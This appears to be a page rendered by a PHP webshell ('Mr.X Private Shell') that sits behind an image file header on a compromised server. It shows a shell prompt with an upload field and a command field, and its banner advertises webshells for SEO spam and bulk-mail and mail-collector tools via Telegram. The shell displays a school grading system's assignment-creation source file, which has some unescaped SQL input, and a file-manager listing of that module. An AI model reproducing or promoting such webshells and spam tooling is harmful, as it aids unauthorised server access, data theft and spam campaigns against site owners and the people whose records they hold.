����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

eblama1@216.73.217.57: ~ $
<?php

require_once 'ProgramFunctions/MarkDownHTML.fnc.php';
require_once 'modules/Grades/includes/FinalGrades.inc.php';

$_REQUEST['assignment_type'] = issetVal( $_REQUEST['assignment_type'], '' );

DrawHeader( ProgramTitle() . ' - ' . GetMP( UserMP() ) );

// Add eventual Dates to $_REQUEST['tables'].
AddRequestedDates( 'tables', 'post' );

// Get admin's Gradebook Configuration. Empty if does not override individual teacher configuration.
$gradebook_config = ProgramUserConfig( 'Gradebook' );

// TODO: add Warning before create!!
if ( AllowEdit()
	&& isset( $_POST['tables'] )
	&& ! empty( $_POST['tables'] ) )
{
	$table = issetVal( $_REQUEST['table'] );

	if ( ! in_array( $table, [ 'gradebook_assignment_types', 'gradebook_assignments' ] ) )
	{
		// Security: SQL prevent INSERT or UPDATE on any table
		$table = '';

		$_REQUEST['tables'] = [];
	}

	foreach ( (array) $_REQUEST['tables'] as $id => $columns )
	{
		// FJ textarea fields HTML sanitize.
		if ( isset( $columns['DESCRIPTION'] ) )
		{
			$columns['DESCRIPTION'] = DBEscapeString( SanitizeHTML( $_POST['tables'][ $id ]['DESCRIPTION'] ) );
		}

		// FJ added SQL constraint TITLE & POINTS are not null.
		if ( ( isset( $columns['TITLE'] )
				&& $columns['TITLE'] === '' )
			|| ( isset( $columns['POINTS'] )
				&& $columns['POINTS'] === '' )
			|| ( $table === 'gradebook_assignments'
				&& ! isset( $columns['TITLE'] ) ) )
		{
			$error[] = _( 'Please fill in the required fields' );
		}

		// FJ fix SQL bug invalid numeric data.
		// FJ default points.
		if ( ( isset( $columns['POINTS'] )
				&& ( ! is_numeric( $columns['POINTS'] )
					|| intval( $columns['POINTS'] ) < 0
					|| (string) (int) $columns['POINTS'] != $columns['POINTS'] ) )
			|| ( isset( $columns['DEFAULT_POINTS'] )
				&& $columns['DEFAULT_POINTS'] !== ''
				&& $columns['DEFAULT_POINTS'] !== '*'
				&& ( ! is_numeric( $columns['DEFAULT_POINTS'] )
					|| intval( $columns['DEFAULT_POINTS'] ) < 0
					|| (string) (int) $columns['DEFAULT_POINTS'] != $columns['DEFAULT_POINTS'] ) ) )
		{
			$error[] = _( 'Please enter valid Numeric data.' );
		}

		// FJ fix SQL bug invalid sort order.
		/*if ( ! empty( $columns['SORT_ORDER'] )
			&& ! is_numeric( $columns['SORT_ORDER'] ) )
		{
			$error[] = _( 'Please enter a valid Sort Order.' );
		}*/

		if ( $table === 'gradebook_assignments' )
		{
			if ( ! isset( $_REQUEST['cp_arr'] )
				|| ! is_array( $_REQUEST['cp_arr'] ) )
			{
				$error[] = _( 'You must choose a course.' );

				$cp_list = "''";
			}
			else
			{
				$cp_list = implode( ',', array_map( 'intval', $_REQUEST['cp_arr'] ) );
			}

			$fields = "MARKING_PERIOD_ID,"; // ASSIGNMENT_TYPE_ID,STAFF_ID added for each CP below.

			$values = "'" . UserMP() . "',";
		}
		elseif ( $table === 'gradebook_assignment_types' )
		{
			if ( ! isset( $_REQUEST['c_arr'] )
				|| ! is_array( $_REQUEST['c_arr'] ) )
			{
				$error[] = _( 'You must choose a course.' );
			}
			else
			{
				$c_list = implode( ',', array_map( 'intval', $_REQUEST['c_arr'] ) );

				$assignment_courses_teachers_RET = DBGet( "SELECT DISTINCT COURSE_ID,TEACHER_ID
				FROM course_periods
				WHERE COURSE_ID IN (" . $c_list . ")", [], [ 'COURSE_ID' ] );
			}

			$fields = ""; // COURSE_ID,STAFF_ID added for each Course below.

			$values = "";
		}

		$go = false;

		foreach ( (array) $columns as $column => $value )
		{
			if ( ( $column === 'DUE_DATE'
					|| $column === 'ASSIGNED_DATE' )
				&& $value !== '' )
			{
				$end_of_quarter_date = GetMP( UserMP(), 'END_DATE' );

				if ( ! VerifyDate( $value ) )
				{
					$error[] = _( 'Some dates were not entered correctly.' );
				}
				elseif ( $column === 'DUE_DATE' )
				{
					if ( $value < $columns['ASSIGNED_DATE'] )
					{
						$error[] = _( 'Due date is before assigned date!' );
					}

					if ( str_replace( '-', '', $end_of_quarter_date ) + 1 < $value )
					{
						$error[] = _( 'Due date is after end of quarter!' );
					}
				}
				elseif ( $column === 'ASSIGNED_DATE'
					&& $end_of_quarter_date < $value )
				{
					$error[] = _( 'Assigned date is after end of quarter!' );
				}
			}
			elseif ( $column == 'FINAL_GRADE_PERCENT'
				&& $table == 'gradebook_assignment_types' )
			{
				// Fix PHP8.1 fatal error unsupported operand types: string / int
				$value = ( (float) preg_replace( '/[^0-9.]/', '', $value ) ) / 100;

				if ( $value > 1 ) // 100%.
				{
					// Fix SQL error numeric field overflow when entering percent > 100.
					$value = '';
				}
			}
			//FJ default points
			elseif ( $column == 'DEFAULT_POINTS'
				&& $value == '*'
				&& $table == 'gradebook_assignments' )
			{
				$value = '-1';
			}

			if ( $value != '' )
			{
				$fields .= DBEscapeIdentifier( $column ) . ',';

				$values .= "'" . $value . "',";

				$go = true;
			}
		}


		$sql = '';

		$insert_assignment_cp_ids = [];

		if ( $table === 'gradebook_assignments'
			&& ! empty( $_REQUEST['cp_arr'] ) )
		{
			foreach ( (array) $_REQUEST['cp_arr'] as $cp_id )
			{
				$cp_teacher = DBGetOne( "SELECT TEACHER_ID
				FROM course_periods
				WHERE COURSE_PERIOD_ID='" . (int) $cp_id . "'
				AND SYEAR='" . UserSyear() . "'
				AND SCHOOL_ID='" . UserSchool() . "'" );

				$cp_assignment_type = DBGetOne( "SELECT ASSIGNMENT_TYPE_ID, STAFF_ID
				FROM gradebook_assignment_types
				WHERE COURSE_ID=(SELECT COURSE_ID
					FROM course_periods
					WHERE COURSE_PERIOD_ID='" . (int) $cp_id . "'
					AND SYEAR='" . UserSyear() . "'
					AND SCHOOL_ID='" . UserSchool() . "'
					LIMIT 1)
				AND TRIM(TITLE)='" . $_REQUEST['assignment_type'] . "'
				AND STAFF_ID='" . (int) $cp_teacher . "'
				LIMIT 1" );

				if ( ! $cp_assignment_type )
				{
					continue;
				}

				$sql .= "INSERT INTO " . DBEscapeIdentifier( $table ) . " ";

				$fields_final = $fields . 'ASSIGNMENT_TYPE_ID,STAFF_ID,COURSE_PERIOD_ID,';

				$values_final = $values . "'" . $cp_assignment_type . "','" . $cp_teacher . "','" . $cp_id . "',";

				$sql .= '(' . mb_substr( $fields_final, 0, -1 ) .
					') values(' . mb_substr( $values_final, 0, -1 ) . ');';

				$insert_assignment_cp_ids[] = $cp_id;
			}
		}
		elseif ( $table === 'gradebook_assignment_types'
			&& ! empty( $_REQUEST['c_arr'] ) )
		{
			foreach ( (array) $_REQUEST['c_arr'] as $c_id )
			{
				foreach ( (array) $assignment_courses_teachers_RET[ $c_id ] as $assignment_course_teacher )
				{
					$c_teacher = $assignment_course_teacher['TEACHER_ID'];

					// @since 11.2 Do NOT create Assignment Type if already exists for Course & Teacher
					$assignment_type_exists = DBGetOne( "SELECT 1
						FROM " . DBEscapeIdentifier( $table ) . "
						WHERE COURSE_ID='" . (int) $c_id . "'
						AND STAFF_ID='" . (int) $c_teacher . "'
						AND TRIM(TITLE)=TRIM('" . $columns['TITLE'] . "')" );

					if ( $assignment_type_exists )
					{
						continue;
					}

					$sql .= "INSERT INTO " . DBEscapeIdentifier( $table ) . " ";

					$fields_final = $fields . 'COURSE_ID,STAFF_ID,';

					$values_final = $values . "'" . $c_id . "','" . $c_teacher . "',";

					$sql .= '(' . mb_substr( $fields_final, 0, -1 ) .
						') values(' . mb_substr( $values_final, 0, -1 ) . ');';
				}
			}
		}

		if ( ! $error && $go && $sql )
		{
			DBQuery( $sql );

			if ( $table === 'gradebook_assignments' )
			{
				$note[] = _( 'The Assignments were successfully created.' );
			}
			elseif ( $table === 'gradebook_assignment_types' )
			{
				$note[] = _( 'The Assignment Types were successfully created.' );
			}

			if ( $table === 'gradebook_assignments' )
			{
				if ( ! empty( $gradebook_config['AUTO_SAVE_FINAL_GRADES'] ) )
				{
					/**
					 * Automatically calculate & save Course Period's Final Grades using Gradebook Grades
					 *
					 * @since 11.8
					 *
					 * On Assignment insert
					 */
					FinalGradesAllMPSaveAJAX( $insert_assignment_cp_ids, UserMP() );
				}

				// TODO Hook.
				// do_action( 'Grades/MassCreateAssignments.php|mass_create_assignments' );
			}
		}
	}

	// Unset tables + related dates + CP array & redirect URL.
	RedirectURL( [ 'tables', 'day_tables', 'month_tables', 'year_tables', 'cp_arr', 'c_arr' ] );
}

echo ErrorMessage( $error );

echo ErrorMessage( $note, 'note' );

if ( ! $_REQUEST['modfunc'] )
{
	$course_periods_limit_sql = '';

	// Check assignment type is valid for current school & syear!
	if ( isset( $_REQUEST['assignment_type'] )
		&& $_REQUEST['assignment_type'] !== 'new' )
	{
		$assignment_type_RET = DBGet( "SELECT ASSIGNMENT_TYPE_ID
			FROM gradebook_assignment_types
			WHERE COURSE_ID IN (SELECT COURSE_ID
				FROM course_periods
				WHERE SYEAR='" . UserSyear() . "'
				AND SCHOOL_ID='" . UserSchool() . "')
			AND TRIM(TITLE)='" . $_REQUEST['assignment_type'] . "'" );

		if ( ! $assignment_type_RET )
		{
			// Unset assignment type & redirect URL.
			RedirectURL( 'assignment_type' );
		}
	}

	if ( $_REQUEST['assignment_type']
		&& $_REQUEST['assignment_type'] !== 'new' )
	{
		// Fix URL encode assignment_type value to encode "/"
		echo '<form action="' . URLEscape( 'Modules.php?modname=' . $_REQUEST['modname'] . '&assignment_type=' . urlencode( $_REQUEST['assignment_type'] ) . '&table=gradebook_assignments' ) . '" method="POST">';

		$submit_button = SubmitButton( _( 'Create Assignment for Selected Course Periods' ) );

		DrawHeader(
			_( 'New Assignment' ),
			$submit_button
		);

		$header = '<table class="width-100p valign-top fixed-col">';
		$header .= '<tr class="st">';

		// FJ title & points are required.
		$header .= '<td>' . TextInput(
			'',
			'tables[new][TITLE]',
			_( 'Title' ),
			'required maxlength=100 size=20'
		) . '</td>';

		$header .= '<td>' . NoInput(
			$_REQUEST['assignment_type'],
			_( 'Assignment Type' )
		) . '</td>';

		$header .= '</tr><tr class="st">';

		$points_min = 0;

		$points_tooltip = '<div id="points_tooltip" class="tooltip"><i>' .
			_( 'Enter 0 so you can give students extra credit' ) .
			'</i></div>';

		if ( ! empty( $gradebook_config['WEIGHT_ASSIGNMENTS'] ) )
		{
			// Disable Extra Credit assignments if "Weight Assignments".
			$points_min = 1;

			$points_tooltip = '';
		}

		$header .= '<td>' . TextInput(
			'',
			'tables[new][POINTS]',
			_( 'Points' ) . $points_tooltip,
			' type="number" min="' . (int) $points_min . '" max="9999" required'
		) . '</td>';

		$header .= '<td>' . TextInput(
			'',
			'tables[new][DEFAULT_POINTS]',
			_( 'Default Points' ) .
				'<div class="tooltip"><i>' .
					_( 'Enter an asterisk (*) to excuse student' ) .
				'</i></div>',
			' size=4 maxlength=4'
		) . '</td>';

		if ( empty( $gradebook_config )
			|| ! empty( $gradebook_config['WEIGHT_ASSIGNMENTS'] ) )
		{
			// @since 11.0 Add Weight Assignments option
			$header .= '</tr><tr class="st">';

			$required = ! empty( $gradebook_config['WEIGHT_ASSIGNMENTS'] ) ? ' required' : '';

			$header .= '<td colspan="2">' . TextInput(
				'',
				'tables[new][WEIGHT]',
				_( 'Weight' ),
				' type="number" min="0" max="100"' . $required
			) . '</td>';

			if ( ! $required )
			{
				ob_start();

				// JS handle case: Weight is set => Set min Points to 1 & hide tooltip.
				?>
				<script>
					$('#tablesnewWEIGHT').change(function() {
						if ($(this).val() != '') {
							$('#tablesnewPOINTS').attr('min', 1);
							$('#points_tooltip').hide();
						} else {
							$('#tablesnewPOINTS').attr('min', 0);
							$('#points_tooltip').show().css('display', 'inline-block');
						}
					});
				</script>
				<?php

				$header .= ob_get_clean();
			}
		}

		$header .= '</tr><tr class="st">';

		$header .= '<td colspan="2">' . TinyMCEInput(
			'',
			'tables[new][DESCRIPTION]',
			_( 'Description' )
		) . '</td>';

		$header .= '</tr><tr class="st">';

		$header .= '<td>' . DateInput(
			DBDate(),
			'tables[new][ASSIGNED_DATE]',
			_( 'Assigned' ),
			false
		) . '</td>';

		$header .= '<td>' . CheckboxInput(
			'',
			'tables[new][SUBMISSION]',
			_( 'Enable Assignment Submission' ),
			'',
			true
		) . '</td>';

		$header .= '</tr><tr class="st">';

		$header .= '<td>' . DateInput(
			'',
			'tables[new][DUE_DATE]',
			_( 'Due' ),
			false
		) . '</td>';

		$header .= '</tr></table>';
	}
	elseif ( $_REQUEST['assignment_type'] === 'new' )
	{
		echo '<form action="' . URLEscape( 'Modules.php?modname=' . $_REQUEST['modname'] . '&table=gradebook_assignment_types' ) . '" method="POST">';

		$submit_button = SubmitButton( _( 'Create Assignment Type for Selected Courses' ) );

		DrawHeader(
			_( 'New Assignment Type' ),
			$submit_button
		);

		$header = '<table class="width-100p valign-top fixed-col">';

		$header .= '<tr class="st">';

		// FJ title is required.
		$header .= '<td>' . TextInput(
			'',
			'tables[new][TITLE]',
			_( 'Title' ),
			'required maxlength=100 size=20'
		) . '</td>';

		if ( empty( $gradebook_config )
			|| $gradebook_config['WEIGHT'] == 'Y' )
		{
			$header .= '<td>' . TextInput(
				'',
				'tables[new][FINAL_GRADE_PERCENT]',
				_( 'Percent of Final Grade' )/* .
				'<div class="tooltip"><i>' .
					_( 'Will be applied only if teacher configured his gradebook so grades are Weighted' ) .
				'</i></div>'*/,
				'maxlength="5" size="4"'
			) . '</td>';
		}

		$header .= '<td>' . ColorInput(
			'',
			'tables[new][COLOR]',
			_( 'Color' )
		) . '</td>';

		$header .= '</tr></table>';
	}
	else
		$header = false;

	if ( $header )
	{
		DrawHeader( $header );
	}

	// DISPLAY THE MENU
	// ASSIGNMENT TYPES.
	// @since 4.5 Hide previous quarters assignment types.
	$assignment_types_sql = "SELECT DISTINCT TRIM(TITLE) AS TITLE,TRIM(TITLE) AS TITLE_FOR_LINK
	FROM gradebook_assignment_types
	WHERE COURSE_ID IN (SELECT COURSE_ID
		FROM course_periods
		WHERE SYEAR='" . UserSyear() . "'
		AND SCHOOL_ID='" . UserSchool() . "')
	AND (CREATED_MP='" . UserMP() . "'
		OR NOT EXISTS(SELECT USER_ID
			FROM program_user_config
			WHERE TITLE='HIDE_PREVIOUS_ASSIGNMENT_TYPES'
			AND VALUE='Y'
			AND STAFF_ID=USER_ID))
	ORDER BY TITLE";

	$types_RET = DBGet( $assignment_types_sql, [ 'TITLE' => '_makeTitle' ] );

	if ( $_REQUEST['assignment_type'] !== 'new' )
	{
		foreach ( (array) $types_RET as $key => $value )
		{
			if ( $value['TITLE'] === $_REQUEST['assignment_type'] )
			{
				$types_RET[ $key ]['row_color'] = Preferences( 'HIGHLIGHT' );
			}
		}
	}

	$columns = [ 'TITLE' => _( 'Assignment Type' ) ];

	$link = [];

	$link['TITLE']['link'] = 'Modules.php?modname=' . $_REQUEST['modname'] . '&modfunc=' . $_REQUEST['modfunc'];

	$link['TITLE']['variables'] = [ 'assignment_type' => 'TITLE_FOR_LINK' ];

	$link['add']['link'] = 'Modules.php?modname=' . $_REQUEST['modname'] . '&assignment_type=new';

	$link['add']['first'] = 5; // number before add link moves to top

	$LO_options = [
		'save' => false,
		'search' => false,
		'add' => true,
		'responsive' => false,
	];

	echo '<div class="st">';

	ListOutput(
		$types_RET,
		$columns,
		'Assignment Type',
		'Assignment Types',
		$link,
		[],
		$LO_options
	);

	echo '</div><div class="st">';

	if ( $header )
	{
		if ( $_REQUEST['assignment_type'] === 'new' )
		{
			$columns = [
				'COURSE_ID' => MakeChooseCheckbox( 'required', '', 'c_arr' ),
				'TITLE' => _( 'Course' ),
				'SUBJECT' => _( 'Subject' ),
			];

			// Display the courses list.
			// Fix SQL error when course has no periods.
			$courses_RET = DBGet( "SELECT c.COURSE_ID,
				c.TITLE,cs.TITLE AS SUBJECT
				FROM courses c, course_subjects cs
				WHERE c.SCHOOL_ID='" . UserSchool() . "'
				AND c.SYEAR='" . UserSyear() . "'
				AND cs.SCHOOL_ID=c.SCHOOL_ID
				AND cs.SYEAR=c.SYEAR
				AND cs.SUBJECT_ID=c.SUBJECT_ID
				AND EXISTS(SELECT 1
					FROM course_periods cp
					WHERE cp.SCHOOL_ID=c.SCHOOL_ID
					AND cp.SYEAR=c.SYEAR
					AND cp.COURSE_ID=c.COURSE_ID)
				ORDER BY cs.TITLE, c.TITLE",
				[
					'COURSE_ID' => 'MakeChooseCheckbox',
					'MARKING_PERIOD_ID' => 'GetMP',
					'TITLE' => 'ParseMLField',
					'SUBJECT' => 'ParseMLField',
				]
			);

			ListOutput(
				$courses_RET,
				$columns,
				'Course',
				'Courses'
			);
		} else {

			// Limit course periods to the ones where the assignment type exists
			// and to the ones in the current MP.
			$course_periods_limit_sql = " AND cp.COURSE_PERIOD_ID IN (SELECT cp2.COURSE_PERIOD_ID
				FROM gradebook_assignment_types gat, course_periods cp2
				WHERE TRIM(gat.TITLE)='" . $_REQUEST['assignment_type'] . "'
				AND gat.STAFF_ID=cp2.TEACHER_ID
				AND gat.COURSE_ID IN (SELECT COURSE_ID
					FROM course_periods
					WHERE SYEAR='" . UserSyear() . "'
					AND SCHOOL_ID='" . UserSchool() . "')
				AND gat.COURSE_ID=cp2.COURSE_ID
				AND cp2.MARKING_PERIOD_ID IN (" . GetAllMP( 'QTR', UserMP() ) . "))";

			$columns = [
				'COURSE_PERIOD_ID' => MakeChooseCheckbox( 'required', '', 'cp_arr' ),
				'COURSE' => _( 'Course' ),
				'TITLE' => _( 'Period' ) . ' ' . _( 'Days' ) . ' - ' . _( 'Short Name' ) . ' - ' . _( 'Teacher' ),
				'MARKING_PERIOD_ID' => _( 'Marking Period' ),
				// 'SUBJECT' => _( 'Subject' ),
			];

			// Display the course periods list.
			$course_periods_RET = DBGet( "SELECT cp.COURSE_PERIOD_ID, cp.TITLE,
				c.TITLE AS COURSE, cs.TITLE AS SUBJECT, cp.MARKING_PERIOD_ID
				FROM course_periods cp, courses c, course_subjects cs
				WHERE cp.SCHOOL_ID='" . UserSchool() . "'
				AND cp.SYEAR='" . UserSyear() . "'
				AND cp.SCHOOL_ID=c.SCHOOL_ID
				AND cp.SYEAR=c.SYEAR
				AND cs.SCHOOL_ID=c.SCHOOL_ID
				AND cs.SYEAR=c.SYEAR
				AND cp.COURSE_ID=c.COURSE_ID
				AND cs.SUBJECT_ID=c.SUBJECT_ID" . $course_periods_limit_sql .
				" ORDER BY COURSE, cp.SHORT_NAME",
				[ 'COURSE_PERIOD_ID' => 'MakeChooseCheckbox', 'MARKING_PERIOD_ID' => 'GetMP' ]
			);

			ListOutput(
				$course_periods_RET,
				$columns,
				'Course Period',
				'Course Periods'
			);
		}

		echo '</div><div class="center" style="clear: left">' . $submit_button . '</div>';
		echo '</form>';
	}
}

/**
 * Make Assignment (Type) Title
 * Truncate Assignment title to 36 chars only if has words > 36 chars
 *
 * Local function.
 * GetStuList() DBGet() callback.
 *
 * @since 10.5.2
 *
 * @param  string $value  Title value.
 * @param  string $column Column. Defaults to 'TITLE'.
 *
 * @return string         Assignment title truncated to 36 chars.
 */
function _makeTitle( $value, $column = 'TITLE' )
{
	// Split on spaces.
	$title_words = explode( ' ', $value );

	$truncate = false;

	foreach ( $title_words as $title_word )
	{
		if ( mb_strlen( $title_word ) > 36 )
		{
			$truncate = true;

			break;
		}
	}

	$title = ! $truncate ?
		$value :
		'<span title="' . AttrEscape( $value ) . '">' . mb_substr( $value, 0, 33 ) . '...</span>';

	return $title;
}

Filemanager

Name Type Size Permission Actions
includes Folder 0755
AnomalousGrades.php File 7 KB 0644
Assignments-new.php File 16.22 KB 0644
Assignments.php File 33 KB 0644
Configuration.php File 14.5 KB 0644
EditHistoryMarkingPeriods.php File 5.47 KB 0644
EditReportCardGrades.php File 16.56 KB 0644
FinalGrades.php File 18.44 KB 0644
GPARankList.php File 2.71 KB 0644
GradeBreakdown.php File 5.16 KB 0644
GradebookBreakdown.php File 13.13 KB 0644
Grades.php File 42.87 KB 0644
HonorRoll.php File 3.63 KB 0644
InputFinalGrades.php File 48.09 KB 0644
MassCreateAssignments.php File 18.08 KB 0644
Menu.php File 3.19 KB 0644
ProgressReports.php File 18.06 KB 0644
ReportCardCommentCodes.php File 8.18 KB 0644
ReportCardComments.php File 14.78 KB 0644
ReportCardGrades.php File 12 KB 0644
ReportCards.php File 2.98 KB 0644
StudentAssignments.php File 1.74 KB 0644
StudentGrades.php File 26.83 KB 0644
TeacherCompletion.php File 5.86 KB 0644
Transcripts.php File 3.22 KB 0644